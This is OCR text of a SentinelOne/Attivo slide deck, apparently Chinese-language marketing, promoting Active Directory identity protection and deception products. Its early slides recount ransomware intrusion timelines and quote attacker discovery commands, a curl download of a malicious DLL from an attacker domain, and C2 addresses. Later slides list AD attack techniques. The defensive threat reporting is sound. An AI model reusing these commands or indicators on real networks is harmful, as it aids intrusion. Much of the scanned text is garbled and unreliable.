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NEWS BLOGS EVENTS & WEBINARS SUPPORT CONTACT Q

Attlvog ACTIVE DIRECTORY ~ CLOUD  ENDPOINT  SOLUTIONS  PARTNERS  ABOUT  RESOURCES

A SentinelOne Company

Attivo Networks is Now a SentinelOne Company

ATT I VO EX PA N D S EXPOSURE VISIBILITY FOR ACTIVE DIRECTORY & AZURE AD
Gain continuous insight into on-premises AD
| D E N T I TY EX POS U R E and Azure AD risk exposures, over-provisioning
V I SI B | LlTY FO R and misconfigurations for domains, users and
< HYB RI D E NVI RO N M E NTS devices across hybrid environments. >

Identity Visibility



Experiencing a Breach? 1-855-868-3733 Contact Cybersecurity Blog Q @ EN v

Sen“ne'@me Platform v .. Why SentinelOne? v Services v Partners v Resources v About - Get a Demo

SentinelOne Completes
Acquisition of Attivo
Networks

Mountain View, Calif. — May 4, 2022 - SentinelOne (NYSE: S), an autonomous cybersecurity platform company,
Hey there! &
that it has completed the acquisition of Attivo Networks. SentinelOne previously announced the agreement to ac

Networks on March 15, 2022. 2
How can | assist you today?

Attivo Networks is a leading identity security and lateral movement protection company with a rapidly growing business serving




CONTInuving the Bazar Ransomware Story

Contl Ransomware

Day 1

15:22 UTC - User Execution
VI A=Z1" 3 71
PG EEAD

qyani

Word Doc with macro J

15:25 UTC - Discovery

net view /Jall

15:55 UTC Cobalt Strike C2

net view Jall /domain
nltest /domain_trusts /all_trusts
volga.azureedge|[.]net

net localgroup \"administrator\"

Failed to establish connection net group \"domain admins\" /dom

17:14 UTC Cobalt Strike C2

five.azureedge.net 82.117.252.143:80

17:45 UTC Cobalt Strike

checkauj.com 82.117.252.143:443

Sentlne|Oﬂe“ © 2022 SentinelOne. All Rights Reserved. 5



IcedID to Xinglocker
Ransomware in 24

Xinglocker Ransomware
BRI AZ1% 3 /NS

|3 ﬁ&é?ﬁEEy | //%\/ E.%J\gyéf 16:59 UTC IcedID execution
24 /NP ETAD H AR e
(Xinglocker) 81/ i

{3DOCCCT2-DBSD-TAL3-BCOA-66CFSBAFDABG}
M [ = i
19:18 Cobalt Strike download rundll32.exe "C:\Users\REDACTED\AppData\Local
and execution on beachhead REDACTED\ikagkk.dll",update /i:*TimberMule\license.dat"

curl https:/fstys E se/kaslose.dll -o
CAusers\pi . .

” s _ 19:20 Credentials Access via
kaslose.dll lsass

Process Hollowing: dlihost.exe

L dllhost.exe read lsass.exe process memaory

kaslose.com

146.70.24.184

19:28 Lateral Movement:
Remote service creation on
the domain controller

spoolsv.exe
kaclose com 19:34 Adfind execution on

domain controller
146.70.24.186

19:35 Discovery: BloodHound
execution on domain controller

Sentlne|Oﬂe® © 2022 SentinelOne. All Rights Reserved. 6



Qbot and Zerologon Lead To Full
Domain Compromise

16:31 UTC Initial Qbot DLL
execution on Beachhead

Nation-State Epsonage

5 30'8%) %’ﬁ 30 55 t
51 53 B AIAD =
nEaﬁjﬁﬁx R 4440 DL ropped by Qb4
A AE R 1 EVIN —

ERTHABEE N - o

A

¥

16:46 C2 begins - Cobalt Strike
17:00 Cobait Strike discovery £ S

17:03 ZeroLogon exploit on the
first Domain Controlier

k

|7:10 Cobalt Strike Beacon via
service Installation on the Domain
Controller

17:12 ADFind discovery from
Beachhead

SentinelOne © 2022 SentinelOne. All R {
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65%
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(Google 2019 security survey)

50%

(AT E P R A7 i

i
><1

(EMA Research AD is Under Siege 2021)

Gartner: %l 2023, 75% N=EIm4 45

SentinelOne

60%

L2 YNEITHEN

(Verizon 2021 Data Breach Investigation Report)

42%

ST ADHY 2

(EMA Research AD is Under Siege 2021)
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(Verizon 2021 Data Breach Investigation Report)

86%
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(EMA Research AD is Under Siege 2021)
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W HE > i Attivo

ADAssessor

AD

AGENTLESS SCANNING AND
REMEDIATION SOLUTION

On-Prem or Cloud

i > iy Attivo

ADSecure DC

AD
SEHRAIORGE

AGENT FOR DC

Cloud

i B = R Attivo EDN,
15 ADSecure EP

S HIEA[E]FE Identity

Detection & Response

AGENT FOR WORKSTATIONS

Hide Credentials, AD info,
Visualize Threatpaths

{ECHI B H 215 AD HYCEETT Ay

SentinelOne

© 2022 SentinelOne. All Rights Reserved.

U B> miTAYAttivo
Botsink 4g#EHLHL -

FHITE AT

Sinqularity

HOLOGRAM

B Rz
SR 4G

HARDWARE BASED
PLATFORM TO CREATE AND
MANAGE DECOYS

Create thousands of real decoys
across entire infrastructure



B34+ Identity Protection

Access
Management

Provisioning ldentities

IGA

|dentity Life Cycle
Management

Access Requests
Entitlement Provisioning

SentinelOne

Connecting ldentities

IAM

Authentication
Authorization
SSO

MFA

Controlling Identities

PAM

Control privileged
|dentities

Just in Time Access
Least Privilege Access

=
gd=

Identity Attack
Surface Management

Identity Detection &
Response (ITDR)

Securing ldentities

ID ASM ITDR

AD Database Vulnerabilities
Attack Paths

Credential Exposures

Least Privileges

Domain Enumeration/Exploitation
|dentity Privilege Escalation
Credential Protection

Cloud Entitlement

© 2022 SentinelOne. All Rights Reserved.
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W HE > i Attivo

ADAssessor

AD

AGENTLESS SCANNING AND
REMEDIATION SOLUTION

On-Prem or Cloud

SentinelOne

U HE > mifHYAttivo

ADSecure DC

AD
SEHRAIORGE

AGENT FOR DC

Cloud

. : IS > HifHYAttivo
i i > FijrJAttivo EDN, Botsink 4R -

a4 ADSecure EP 412
2= u FEIPFE 24

Sinqularity

HOLOGRAM

B3 e RIBAE] FE 1dentity B B
Detection & Response AE]E 4G

HARDWARE BASED
AGENT FOR WORKSTATIONS  p| ATEORM TO CREATE AND

MANAGE DECOYS

Hid? Crgdentials, AD info, Create thousands of real decoys
Visualize Threatpaths across entire infrastructure

© 2022 SentinelOne. All Rights Reserved. 11



AD FHEHIfRE

Lightweight Library Installs on ONE PC
On-prem AD, Azure AD, or Multi-cloud

Production PC Management Console on Public Cloud

Raise an alert If a weakness Is
discovered or an attack is detected

On-prem version HW requirement
change from ONE PC to ONE Server

SentinelOne
I Library \

Agentless Scanning and Remediation

Directory
or Azure AD

Sentlne|Oﬂe“ © 2022 SentinelOne. All Rights Reserved.



Ranger AD fFHa

Domain level Exposures User level Exposures Device level Exposures

+ Weak policies « Account & privilege issues « Rogue domain controliers

« Credential harvesting « Service account exposures * Operating System issues
« Kerberos vuinerabilities « Privileged account exposures * AD-related vulnerabilities

200+ Exposures and 70+ Vulnerabilities Detectable

Visibility into AD Security hygiene issues and actionable alerts for key exposure at
Domain, User, and Device levels

Real-time Privilege AD escalation detection
Granular access restriction to AD information without impacting business operation

Continuous Insight into Identity and Service Account Risk related to credentials,
privileged accounts, stale accounts, shared credentials, and Identity attack paths

Sentlne|Oﬂe“ © 2022 SentinelOne. All Rights Reserved.
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Ranger AD {gHIFyIA 82

Detecting mass account lockouts, disables, and deletions e ™~

Suspicious password changes on service or sensitive accounts

Suspicious password changes for mass password reset / changes

Detecting brute force — password spray attack

Suspicious service creation on domain controller \ /
Use of default administrator account L

Active Directory
Reactivation of disabled privileged accounts

SID history tampering

Sentlne|Oﬂe“ © 2022 SentinelOne. All Rights Reserved.



W HE > i Attivo

ADAssessor

AD

AGENTLESS SCANNING AND
REMEDIATION SOLUTION

On-Prem or Cloud

SentinelOne

U HE > mifHYAttivo

ADSecure DC

AD
I5REIOREE

AGENT FOR DC

Cloud

. : IS > HifHYAttivo
i i > FijrJAttivo EDN, Botsink 4R -

a4 ADSecure EP 412
2= u FEIPFE 24

Sinqularity

HOLOGRAM

B3 e RIBAE] FE 1dentity B B
Detection & Response AE]E 4G

HARDWARE BASED
AGENT FOR WORKSTATIONS  p| ATEORM TO CREATE AND

MANAGE DECOYS

Hid? Crgdentials, AD info, Create thousands of real decoys
Visualize Threatpaths across entire infrastructure

© 2022 SentinelOne. All Rights Reserved. 16



AD Domain Controllergyjs&afaseg

Install Agents on Domain
Controllers and Critical Servers

Lightweight Library Install on
ONE PC

Protects against comprehensive
attacks to AD regardless of the

ADVANCED - attack source
ACTIVE
DIRECTORY " "
ATTACKS 1. DATA INSPECTION PrOteCtlon WIthOUt ConteXt
Any Endpoint g: S\éEIIX\r/IIEJ(I)?GCAC\)NRAE%LIEYLSAICIS'ION knOWIGdge on end-pomts
on the _ _
Network Employs deep packet inspection
and behavior analysis of AD
App Servers o gs

Sentlne|Oﬂe“ © 2022 SentinelOne. All Rights Reserved.



Ranger AD Protect {&:H]3f: B FH#&

AD Recon attack using LDAP, SAMR, LSAR protocols
Golden ticket attack

Silver ticket attack / \

Skeleton ticket attack

Pass-the-ticket attack

Pass-the-hash attack

Overpass-the-hash attack - o
-orged PAC attack Active Directory
DCSync attack

DCShadow attack

AS REP Roasting attack (Kerberoasting)

SentinelOne

© 2022 SentinelOne. All Rights Reserved.



W HE > i Attivo

ADAssessor

AD

AGENTLESS SCANNING AND
REMEDIATION SOLUTION

On-Prem or Cloud

SentinelOne

U HE > mifHYAttivo

ADSecure DC

AD
SEHRAIORGE

AGENT FOR DC

Cloud

i B = R Attivo EDN,
15 ADSecure EP

S HIEA[E]FE Identity

Detection & Response

AGENT FOR WORKSTATIONS

Hide Credentials, AD info,
Visualize Threatpaths

© 2022 SentinelOne. All Rights Reserved.

U B> miTAYAttivo
Botsink 4g#EHLHL -

FHITE AT

Sinqularity

HOLOGRAM

B Rz
SR 4G

HARDWARE BASED
PLATFORM TO CREATE AND
MANAGE DECOYS

Create thousands of real decoys
across entire infrastructure
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(= H/ 2R & b EHYADIEE

Hides info, protect critical objects

STOLEN DECOY o— NP Returns deceptive objects

CREDENTIALS

Fake data steers attackers to decoys

Telemetry for visibility & hunting

QUERY AD FOR
REAL ACCOUNTS

PRODUCTION ASSETS

(0 == |
— E-

PROTECTED

REAL AU
ACTIVE DIRECTORY QUERY RESULTS

Sentlne|Oﬂe“ © 2022 SentinelOne. All Rights Reserved. 20



Cyber Kill Chain £y

AVl

!
ol

BT ~F 75
Collect User Credentials Hide live Creds, show False Creds
Privilege Escalation Hide sensitive users, show decoys
Internal reconnaissance Hide AD, Services, Shares - Derall
Lateral Movement Derall, allow into decoys, collect intel
Collect and exfiltrate data Allow collection of beaconed files, docs
Destroy systems Destroy decoy systems, collect intel
Corrupt Data Corrupt decoy data, collect intel
Modify Data Modify decoy data, collect intel

Sentlne|Oﬂe“ © 2022 SentinelOne. All Rights Reserved.



MR HIAIIRFE A DR HI LR

Attack Detection at Domain Controller Detection from Endpoints

Even more comprehensive attack detection

Detect attacks affecting multiple AD objects and disruption

Detect attacks from managed and unmanaged Detect advanced attacks in real time

systems

TR

Alert on unauthorized activities targeting AD

o
]
&
I-

<

Detect attacks from IoT/OT devices Conceal sensitive or privileged AD objects,

mislead with deceptive objects
Gather adversary TTP" s and IoCs

Automated response

Detect Attacks from Windows and non-
Windows systems (Mac/Linux)

Comprehensive attack detection and disruption

Active
Directory

Sentlne|Oﬂe“’ © 2022 SentinelOne. All Rights Reserved.



U L S A REEHY 7T BT

Attack Surface Mgmt Endpoint Credentials Privileged Cred & Accts
USGmF‘" username
—
‘ 0000 ‘ 0000 ¢
Attack Surface Reduction Cloak Credentials AD Query Misdirection
Find and remediate exposed credentials Hides credentials from attackers & Detects unauthorized queries and
and attack paths their tools delivers fake AD objects

username

Decoy Credentials Bind Credentials to Applications Decoy Active Directory
Obfuscates credentials, misdirects attackers Blocks unauthorized access to credential Decoy AD environment to detect recon and
and gathers threat intelligence store gather threat intelligence

Sentlne|Oﬂe® © 2022 SentinelOne. All Rights Reserved.



ldentity Ba&HAMIHEE

Active Directory Protection

Active Directory Attack Detection

Ransomware Protection ++

Credential Theft Protection ++

Credential-based Vulnerability Assessment & Visualization ++

Real-time Recon Detection ++

Sentlne|Oﬂe“ © 2022 SentinelOne. All Rights Reserved.
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W HE > i Attivo

ADAssessor

AD

AGENTLESS SCANNING AND
REMEDIATION SOLUTION

On-Prem or Cloud

i > iy Attivo

ADSecure DC

AD
SEHRAIORGE

AGENT FOR DC

Cloud

i B = R Attivo EDN,
15 ADSecure EP

S HIEA[E]FE Identity

Detection & Response

AGENT FOR WORKSTATIONS

Hide Credentials, AD info,
Visualize Threatpaths

{ECHI B H 215 AD HYCEETT Ay

SentinelOne
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HARDWARE BASED
PLATFORM TO CREATE AND
MANAGE DECOYS

Create thousands of real decoys
across entire infrastructure
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sentinelone.com



